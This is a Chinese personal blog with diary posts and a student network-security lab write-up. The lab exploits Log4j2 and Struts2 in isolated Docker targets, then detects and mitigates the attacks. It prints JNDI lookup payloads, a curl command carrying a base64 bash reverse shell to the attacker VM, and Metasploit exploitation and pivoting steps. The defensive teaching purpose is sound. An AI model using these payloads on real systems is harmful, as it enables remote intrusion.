2024-12-26 22:52:00
一直记得一个说法,读小说不要看插画,因为看了插画后,小说里的 characters 的形象就不再是你的想象了。记不得在哪里看到的,甚至可能是初中的语文阅读题,不过我倒是百分百笃信这种说法的,以至于引申到了很多方面。
我倒是不那么厌恶剧透,但哪怕是一句的影评,一个预告,乃至于一张海报,都同剧透一般会磨灭掉剧情给我的一点惊喜。是的,只是磨灭一点。
但在看《戏梦巴黎》前,拒绝看影评简介,我倒不是因为怕失去惊喜。
我向来是喜欢对万事万物有自己的想法的,这种确定的感觉很重要。在浸润了对“现代”政治经济学批判的思想后,我开始有意识地阻止居伊·德波所谓的“景观”对我“纯洁”的想法的侵蚀。因此在看《戏梦巴黎》前,我承认我抱着我所鄙夷的“神圣感”去看这部电影,因而不想被影评简介中透露的观点————统治阶级与资产阶级影评人希望表达的观点————所影响,纵使资本主义下电影本身也是基于追逐利润的扩大再生产的副产物。
不出所料地扯远了,看电影前,我的脑海里只有几个零零碎碎的关键词:“文艺”、“三级片”、“毛主义”、“五月风暴”,其实就这四个词,我期待着能从观影中汲取到法国乃至欧洲在上世界六十年代的文化氛围与后现代主义的思考。
令我失望的是,在最直接的层面,电影似乎始终在利用“性”的禁忌来表现一种超越的感觉,而剧中人物的台词与思考,却始终停留在一种“现代”的思维中。例如剧中的三人有着超越现实的关系,但是本身对于这种关系的理解却仍是看作是一种禁忌的玩乐————“如果你爸妈知道了怎么办”“她们不会知道的”“万一呢”“自杀”。当然,我们可能需要考虑他们仍然生活在真实的现代的社会中,这种“禁忌的玩乐”带来的社会性死亡确实可能是一种灾难,但我仍然更希望他们超越这种现实的观念,去理解与接受这种的关系真实存在的道理。
此外,电影中出现的毛的海报也是我观影的原因之一,这部剧对毛、革命、五月风暴、反战(越南战争)的讨论也仅仅在父子的交流、两个男主的交流、极少的画面中展现,我甚至可以理解为仅仅是一种极其精准的狗哨政治。
不过影中的两个男主关于越南战争的争执与最后一幕中美国小伙与法国浪子的暴力革命之争(对印上里奥读红宝书中“革命是暴动”的观点一幕)倒还是给了我一丝丝的惊喜,是的,只有一丝丝。
不过电影终究还是催化出了我的一点灵感,关于爱的看法。
我的理性想来都是乐意去接受开放式的关系的,但感性上始终期待一生一世一双人的爱情,我讨厌感性与理性的矛盾,但很遗憾,感性始终更胜一筹,而理性也始终坚定。
但忽然的,我有了新的想法,有了一小步推进。我喜欢全新的想法,这会带来我一直以来最喜欢的情绪————惊喜。
对于接触恋人的其他男性,我总是担忧他们对我的地位造成威胁,比我更好,更吸引女友,从而从我这里夺走伴侣。但是,其实问题的关键很简单,我并不需要与恋人占据对方生活的百分百,并不需要比所谓“竞争者”的全部方面更好,我只需要因为我的一个或者几个方面对恋人的吸引,在恋人心中占据一个特殊的无可替代的位置。
不用成为全部的百分百,只做独一无二不可替代的一部分。
有了自己的想法,该去看看影评了。
庸俗地讲,无论好坏,我喜欢不同的观点。
2024-12-24 09:35:00
一直就有中博客上设置一个实时动态页面的想法,记录一些突然蹦进脑袋里的想法。
最开始的时候,专门搞了一个文章页面,用评论区来记录,但是这样总怪怪的,就取消了。
大改博客后,我把所有使用了 musing
tag 的文章作为 随想
在单独的随想页面展示,这样虽然emmm 齐整了点,但是还是不够实时。
看到 吕楪 的实时动态,发现这正是我需要的效果,顺着发现了 ActivityPub
协议,这个协议还可以让我们的博客和其他的社交平台进行去中心化交互,这样就可以实现一个实时动态了。
诚然,我清楚地知晓,开发实时动态页面,抑或是其他什么,不过是在转移自己的注意力罢了。
有人会把个人的困顿愁虑用虚无缥缈的宏大叙事来掩饰,称这种忧伤不过是小布尔乔亚的无病呻吟,我虽已不这般骗自己,但料想自己和他们也没什么两样吧。
嘴上一直说自己运气好,其实一直不愿意把心放在这不可控的玄幻之物上。不过在她这里,我的运气似乎从来没有灵光。
就是忧伤,
没什么,就是忧伤
根据 how-to 大概了解了 ActivityPub
的基本原理。
似乎开发这样一个留言板是一个浩大的工程,基于一个底层的协议,需要自己实现很多东西,精力还是放在完善毕设先,等以后有时间再来搞这个。
又注意到 Mastodon
这个开源的社交网络,是一种基于 ActivityPub
协议的实现,索性直接加个页面链接过去吧。
2024-12-23 21:06:00
–
成员合作提交作业流程见于 GitHub 小组合作说明文档.md .
每个成员都完整复现出 网络安全 (2021) 综合实验 流程
复现完成后分工补充和改进内容
实验日程
–
在 kali 官网 下载 kali 虚拟机导入自己的虚拟机平台. 我们使用的是 VMware , kali 版本为 2024.1, 虚拟机网卡配置如下 :
kali@victim
kali
192.168.136.144
192.168.5.132
kali@attacker
kali
192.168.136.147
192.168.5.135
–
安装和配置 docker :
|
|
–
查看 git 和 docker 版本 :
–
参考 小陈的容器镜像站 配置 docker 镜像源 :
使用命令 git clone https://github.com/c4pr1c3/ctf-games.git
克隆 ctf-games 仓库 :
–
拉取 docker 镜像 vulfocus :
切换到 ctf-games/fofapro/vulfocus 目录下, 执行 bash start.sh
, 选择 host-only 网卡对应的 IP 地址 :
在宿主机浏览器上访问此 IP 地址, 默认用户名和口令均为 admin :
–
关键词
Log4j2
:Apache Log4j2 是 Java 平台上的一个开源日志框架,它是 Log4j 的下一代版本,提供了更为高效且灵活的日志记录功能。反弹 Shell
:利用目标系统的漏洞来启动 shell 会话,然后访问受害者的计算机。目标是连接到远程计算机并重定向目标系统 shell 的输入和输出连接,以便攻击者可以远程访问它。ldap
:轻量级目录访问协议 (Lightweight directory access protocol) 是一种帮助用户查找有关组织、个人等的数据的协议。 LDAP 有两个主要目标:将数据存储在 LDAP 目录中并对访问该目录的用户进行身份验证。它还提供应用程序从目录服务发送和接收信息所需的通信语言。目录服务提供对网络中组织、个人和其他数据的信息所在位置的访问。JNDI
:Java Naming and Directory Interface 是一个应用程序编程接口(API),它为使用 Java TM 编程语言编写的应用程序提供命名和目录功能。它被定义为独立于任何特定的目录服务实现。因此,可以通过通用方式访问各种目录(新的、新兴的和已部署的)。–
漏洞原理
在 NIST 网站中可以看到,按照 CVSS 3.1 的评分标准,该漏洞的评分为10分,是一个极其严重的漏洞。
在 cloudflare 的博客中,详细介绍了该漏洞的原理和利用方式:
${jndi:ldap://example.com/a}
的字符串,Log4j 会在记录日志时尝试解析这个字符串。在 GitHub Gist 的页面可以看到,由于Log4j广泛用于各种Java应用程序和服务,因此这个漏洞影响范围非常广泛,包括Web服务器、应用程序服务器、邮件服务器等。
–
下载 Log4j2 镜像并启动漏洞靶标 :
尝试在 URL 后补充 ‘/hell’ 和 ‘/hello’ :
在 kali 中执行 docker ps
查看正在运行的容器 :
Log4j2 对应的容器名称为 eloquent_boyd
进入容器 :
|
|
–
发现 demo.jar 文件, 将其拷贝出来 :
|
|
–
使用 jd-gui
工具反编译, 查看代码 :
确实发现漏洞.
–
|
|
–
–
–
|
|
–
根据教学视频中所讲代码中出现漏洞问题是在logger.error,logger.info
函数中,但并没讲述原因
–
我进行跟进了解此漏洞原理发现
|
|
此代码也有问题
这两行代码分别设置了LDAP
和RMI
的JNDI
配置,允许从不受信任的URL加载代码库
而Log4j2在处理日志消息时它会扫描消息中的${}
语法来识别 Lookups
标记,根据 Lookups
标记的类型,调用相应的解析器来获取实际值
|
|
–
这里就用到JNDI lookups
Log4j2在记录日志时会解析${}
中的内容。在这种情况下,它会尝试通过JNDI
查找ldap后的内容
如果查找内容是攻击者控制的LDAP服务器,它可以响应一个包含恶意代码的对象。
应用程序加载并执行从恶意服务器返回的代码,从而导致远程代码执行(RCE)
而logger.error/info
中所包含的payload
可能就是攻击者控制的服务器地址
所以才产生了漏洞
–
打开网站 http://www.dnslog.cn/ , 获取随机子域名 95p55c.dnslog.cn
:
根据靶场容器 URL 和获取的子域名,对 payload 字段进行编码, 编码平台可使用 https://www.urlencoder.org/ .
|
|
–
发现四条解析记录,说明漏洞可利用 :
一开始做的时候根据老师视频演示的代码来做发现运行不了的问题,然后我们查看根据反编译结果发现,缺陷函数用到的是 get 请求方法,所以该环境不能支持 post ,所以我们得换成发送 get 请求
–
下载工具 log4j-scan 并扫描漏洞 :
|
|
–
成功扫描到漏洞 !
–
(1). 有些场景下使用 python3
来执行 log4j-scan.py , 终端不会有任何响应信息, 改为 python
即可正确执行.
(2). curl POST 请求不允许 : 按照原教程,使用 curl -X POST
发送请求,但是返回 405 Method Not Allowed
错误。
curl "http://192.168.4.129:26678/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxco6xt.dnslog.cn%2Flihan3238%7D"
(3). log4j-scan.py 报错
除了上述问题,log4j-scan.py
一开始使用命令 python3 log4j-scan.py --request-type post -u http://192.168.182.129:43381/hello
还有报错 requests.exceptions.ConnectionError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f8240f643d0>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))
log4j-scan.py
代码中 interact.sh
服务器只能通过 HTTP 访问,而脚本默认使用 HTTPS 访问--dns-callback-provider dnslog.cn
参数,使用 dnslog.cn
作为 DNS 回调服务器–
新建一台 kali 虚拟机, 为其配置一块 host-only 网卡, 主机名改为 attacker
:
|
|
–
在虚拟机 attacker 上安装 tmux 和 asciinema :
|
|
–
tmux 的简单使用 :
|
|
–
在 attacker 虚拟机中先简单布置两个终端窗口, 一个为 attacker 本身, 另一个通过 ssh 连接到 victim 虚拟机.
在 attacker 终端窗口上 :
|
|
–
在 victim 终端窗口上 :
|
|
–
录制的 asciinema 视频 :
–
在 attacker 虚拟机中下载 JNDIExploit.v1.2.zip, 解压缩, 计算校验和 :
尝试反弹 Shell :
这里使用 tmux 分割三个终端, 分别执行以下命令 :
|
|
–
flag 即为 : flag-{bmh95894fd4-c71c-4ad5-b1eb-83b886126dcf}
–
asciinema 录屏 :
–
原先的 curl http://192.168.182.129:43381/hello -d 'payload=${jndi:ldap://192.168.182.130:1389/TomcatBypass/Command/Base64/'$(echo -n 'bash -i >& /dev/tcp/192.168.182.130/7777 0>&1' | base64 -w 0 | sed 's/+/%252B/g' | sed 's/=/%253d/g')'}'
命令执行失败 :
注意到这里又出现了 POST 请求不允许的情况,根据昨天的经验,使用 GET 请求替代:
|
|
发现又无效,原因是 URL 编码问题:
When making a request to an API, the parameters included in the URL request may contain characters that have special meaning for the web server. URL encoding allows the browser or web server to safely transfer this data , as it converts all special characters and spaces into a format that web browsers can understand.
同时,注意到改为 GET 请求后,Bash 命令的 Base64 编码也需要修改,摸索了一下,最终成功写出 Bash 命令
–
|
|
–
本来配置了 host-only 网卡 eth0 和 NAT 模式网卡 eth1, 但 kali 开机后, 使用 ip a
命令查看 IP 地址, 发现这两块网卡的 state 都是 DOWN, 正常网卡应该是 UP 的. 尝试解决这个问题 :
以 eth0 为例, 临时方案 :
|
|
完全解决方案 ( Kali Linux 2023.4 版本可行 ) :
|
|
–
|
|
–
asciinema 录屏 :
–
这张图表展示了Log4j JNDI攻击的原理和防御方法:
–
User-Agent: ${jndi:ldap://evil.xa/x}
–
在之前的报告中了解了此漏洞的原理,我尝试深入理解代码原理进行漏洞修复
代码文件demo.jar
我们找到BOOT-INF/classes/com.example.log4j2_rce
LEVEL
–
|
|
当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
–
|
|
–
这个配置文件在我们实验环境中没有存在,在这个文件中,比较关键的是他设置了logger触发的默认等级为 <root level="error">
只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走
而在我进行dnslog测试的时候发现
有两条返回值,说明logger.info
函数也执行了(‘info’>‘error’)。也就说明默认等级是info
–
在我对代码进一步研究的时候,我发现一个名叫LowLevelLogUtill.class
的文件
文件注释中解释了这段代码的作用 ,他将低等级的代码用另一种方式简单记录下来
那在log4j2.xml
文件中将默认等级设为0,那日志记录时logger调用的就是这个函数,也就不会触发漏洞。
缺点就是此函数记录日志的方式简单,无法处理复杂的日志
JNDI
–
我们知道log4j2 CVE-2021-44228 漏洞
核心问题在于JNDI lookup
那我就从这里入手
看到代码
|
|
–
我询问了gpt里面变量代表的是设置了LDAP和RMI的JNDI配置,允许从不受信任的URL加载代码库,com.sun.jndi.ldap.object.trustURLCodebase
是一个Java系统属性。当设置为true时,它允许JNDI在LDAP查找过程中从URL加载远程代码库
这两个设置都是安全风险,因为它们允许远程服务器提供的代码在本地执行,这可能被攻击者利用进行远程代码执行(RCE)攻击。
那我将这些属性设置为false
理论上就终止了lookup对远程进行查询
但在实际实验过程中我将漏洞文件demo.jar
反编译以后打包到本地进行修改又编译为demo1.jar
传到虚拟机进行检测时发现无法解析编译
–
在主机上编译又有许多报错,我猜测可能是版本问题
JNDIlookup
。–
JNDIlookup.class
简单粗暴,我一层一层的解压找到class文件直接删除,然后放到docker容器里面替换demo.jar运行出现报错
–
|
|
Spring Boot
可执行 JAR 文件中,BOOT-INF/lib/jackson-annotations-2.9.0.jar
文件被压缩了,而 Spring Boot 期望嵌套的 JAR 文件是未压缩的。这是因为 Spring Boot 的 JAR 文件加载器不支持解压缩嵌套的 JAR 文件。–
我觉得是我jar压缩出来的格式不对,我压根没动过jackson-annotations-2.9.0.jar
。而且在此之前系统莫名其妙将META-INF/MANIFEST.MF
的文件内容给我改了,这一条路也就不了了之.
那我就选择从系统入手,在上网查阅资料后发现有三种方法
1.采用人工方式禁用JNDI,例:在spring.properties中添加spring.jndi.ignore=true
2.修改 jvm 参数:-Dlog4j2.formatMsgNoLookups=true
|
|
3.将系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true
三种方法中最权威也是最快捷的方法就是改环境变量,但在实验下来以后发现把靶机,容器,镜像环境变量改了重启还是会攻击成功,但dnslog中只有一条回显。
修改jvm参数执行demo.jar发现攻击失败并且流量检测检测到了攻击,该方法是唯一一次成功缓解攻击的
–
–
这里发现镜像 vulfocus/struts2-cve_2020_17530
对应容器的 CONTAINER ID 为 12499e844404
, 下面尝试捕获指定容器的上下行流量 :
|
|
–
–
问题
部署 DMZ 场景, 一直失败. 请教老师后, 发现我的两位室友也都遇到了同样的问题哈哈, 需要自己写一个 dockerfile, 将 vulshare/nginx-php-flag 容器中的 /2.sh 的 ping aa.25qcpp.dnslog.cn
命令删去即可 ( 因为无法 ping 通 ). 但是当我回到宿舍中, 还没动手修改, 却发现此能跑通了 ! 即宿舍网环境中能正常 ping 此域名 :
–
|
|
–
原先的 attacker 虚拟机运行 msfconsole 命令报错了, 查阅诸多方法无法解决, 遂使用新虚拟机作为 attacker 了 :
–
收集信息, 寻找合适的 exp :
|
|
–
|
|
–
设置好靶机 ip, 端口等信息 :
|
|
|
|
–
发现 flag-{bmh5385b98e-4e60-4423-8c7f-6d01adb1b517} !
–
asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 但过程一致 ) :
–
这里需要将已获得的 1 号会话即外层主机 shell 升级为 meterpreter
meterpreter 是 Metasploit 框架中的一个高级 payload,提供了一个强大的内存驻留 shell,允许攻击者在目标系统上执行各种命令和脚本,而不会在目标系统的硬盘上留下痕迹. 它具备强大的后渗透功能,可以帮助攻击者在目标系统上进行广泛的操作. 与控制台之间的通信经过加密,防止流量被拦截和分析.
|
|
–
进入 meterpreter 会话后 :
|
|
–
|
|
–
|
|
–
–
|
|
–
|
|
–
|
|
–
asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 但过程一致 ) :
–
|
|
–
–
来看最终输出结果吧 !
–
asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 整体过程一致 ) :
–
|
|
–
–
|
|
–
注意到这里开放了 80 端口的 ip 是 192.176.85.3 !
|
|
–
发现 flag-{bmh516b6e99-fcae-4f36-9beb-e6a1d37d58e0} !
DMZ 场景五面 flag 全部找到 ! 初步完成实验 !
–
asciinema 录屏 :
–
nginx-php-flag 镜像的容器启动失败 :
ping aa.25qcpp.dnslog.cn
,实际上 ping 不通;ping aa.25qcpp.dnslog.cn
为ping 127.0.0.1
,保证容器持续运行,重新构建镜像并运行容器. ( 或者改为 tail -F /test
, 表示持续监控指定文件 /test 的末尾内容,并实时输出到终端, 这也满足了容器一直运行的需求 )–
|
|
–
wireshark
分析流量–
zeek
工具来分析流量
|
|
–
根据前面使用 msfconsole
利用 struts2-cve_2020_17530
漏洞攻击 victim-1
的 multi/http/struts2_multi_eval_ognl 模组的源码 :
|
|
使用 urlencoded-form.value contains "%{"
进行过滤 成功找到攻击流量
–
在 http.log
文件中找到 POST
请求 cat http.log | grep 'POST'
根据 数据包大小
目标 IP
等信息,检查可疑流量
根据 resp_fuids
字段追踪到 extract_files
文件夹中的文件 extract-1721031278.696195-HTTP-F09DHeMj0fa3AJXZf
在 extract_files
文件中找到攻击流量
|
|
–
根据 exploit/multi/misc/weblogic_deserialize_asyncresponseservice 模组的源码
:
|
|
使用 xml.cdata contains "/bin/bash"
进行过滤 成功找到攻击流量
–
在 http.log
文件中找到 POST
请求 cat http.log | grep 'POST'
根据 数据包大小
目标 IP
等信息,检查可疑流量
根据 resp_fuids
字段追踪到 extract_files
文件夹中的文件 extract-1721031619.297156-HTTP-FhwTjm4kJ4ayjxLYHl
在 extract_files
文件中找到攻击流量
|
|
–
zeek
编译安装失败
在链接 caf
时报错
原因:找不到 caf
库
解决:安装 caf
库或使用 zeek
官方提供的 zeek
镜像
根据官网的安装指南,安装 caf
库
|
|
–
|
|
|
|
–
攻击失败,检查 tcpdump
抓取的流量文件
有失败的攻击流量,但没有成功,说明漏洞已缓解
–
|
|
2024-12-22 17:27:00
|
|
可我
还是忍不住忧伤
料想昨晚是最后一次一个人胡闹了, 真的冷静下来,我想应当感谢她吧,尖锐的辞藻戳破了我自以为是自我感动的外壳, 其实这也是我期待已久的结果了,总比不理我好。
还是忍不住去想,不过应该没有几天了,一周后就是新年,会忙起来的吧。 感觉自己谈恋爱跟吸毒一样,明知道会忘掉,戒断的感觉还是如刀绞。 感觉得再被骂一顿,但主动去找骂有点。。。
说真的,前段时间真是被毕设把脑子折磨坏了。打了个球,散了个步,感觉自己确实太蠢了。 两篇帖子就留着长记性吧,不能再自我感动自我攻略了。
2024-12-21 23:15:26
博客 Aplayer 音乐床中国内网络环境下无法流畅播放,企图切换为 Gitee 仓库,Gitee 国内可以直连,我以为应该没问题。
在仿照 Github 方案, 搭建了 Gitee上的音乐仓库后,以为可以顺畅播放音乐了,我总是自以为是。
实际上,Gitee 仓库的音乐文件只能播放 .m4a
格式的音频,我现在没工夫管为什么,反正不行,理论上可以把每个 mp3 转成 m4a,但太麻烦了,谁想听啊,算了。
2024-12-12 15:25:00
做毕设时,使用 C++ 进行开发,需要调用 openssl 等第三方库,找了找有没有像 python 的 pip 一样的包管理工具,找到了 vcpkg。这里记录一下配置过程。总的来说,比 pip 麻烦一点,乱七八糟小问题不少。
C++
组件。Visual Studio Installer
,点击修改
,勾选Vcpkg
组件。安装完组件后,记得重启电脑,不然可能不显示vcpkg
配置。
右键项目打开项目属性页面,找到 Vcpkg
选项。
应用
。由于贴主尚不清楚的原因,VS 中的 Vcpkg 只能使用 Manifest
方式安装包,需要创建和编辑vcpkg.json
文件。
在项目目录下使用vcpkg new -application
命令创建vcpkg.json
和vcpkg-configuration.json
文件。
可以在vcpkg官网查找需要的包,如openssl
、jsoncpp
、cpp-httplib
等。
编辑vcpkg.json
文件,内容如下,配置了openssl
、jsoncpp
、cpp-httplib
三个包:
|
|
vcpkg install
命令安装包。Release
和Debug
模式下,vcpkg
的属性配置不同,需要分别配置。exe
文件目录下会有相关dll
文件。